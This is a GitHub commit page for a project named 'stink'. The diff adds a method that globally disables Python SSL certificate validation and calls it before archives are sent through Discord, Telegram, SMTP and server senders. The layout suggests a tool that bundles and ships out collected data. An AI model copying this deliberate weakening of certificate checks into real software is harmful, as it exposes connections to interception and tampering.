Skip to content

Commit

Permalink
SSL validation disabled
Browse files Browse the repository at this point in the history
  • Loading branch information
FallenAstaroth committed Oct 31, 2023
1 parent bd11161 commit 734436b
Show file tree
Hide file tree
Showing 5 changed files with 18 additions and 0 deletions.
14 changes: 14 additions & 0 deletions stink/abstract/sender.py
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
import ssl
from io import BytesIO
from abc import abstractmethod
from typing import Tuple, Union
Expand Down Expand Up @@ -44,6 +45,19 @@ def __send_archive(self) -> None:
"""
...

@staticmethod
def _create_unverified_https():
"""
Disables SSL certificate validation.
Parameters:
- None.
Returns:
- None.
"""
ssl._create_default_https_context = ssl._create_unverified_context

@abstractmethod
def run(self, zip_name: str, data: BytesIO) -> None:
"""
Expand Down
1 change: 1 addition & 0 deletions stink/senders/discord.py
Original file line number Diff line number Diff line change
Expand Up @@ -65,6 +65,7 @@ def run(self, zip_name: str, data: BytesIO) -> None:

try:

self._create_unverified_https()
self.__send_archive()

except Exception as e:
Expand Down
1 change: 1 addition & 0 deletions stink/senders/server.py
Original file line number Diff line number Diff line change
Expand Up @@ -65,6 +65,7 @@ def run(self, zip_name: str, data: BytesIO) -> None:

try:

self._create_unverified_https()
self.__send_archive()

except Exception as e:
Expand Down
1 change: 1 addition & 0 deletions stink/senders/smtp.py
Original file line number Diff line number Diff line change
Expand Up @@ -75,6 +75,7 @@ def run(self, zip_name: str, data: BytesIO) -> None:

try:

self._create_unverified_https()
self.__send_archive()

except Exception as e:
Expand Down
1 change: 1 addition & 0 deletions stink/senders/telegram.py
Original file line number Diff line number Diff line change
Expand Up @@ -67,6 +67,7 @@ def run(self, zip_name: str, data: BytesIO) -> None:

try:

self._create_unverified_https()
self.__send_archive()

except Exception as e:
Expand Down

0 comments on commit 734436b

Please sign in to comment.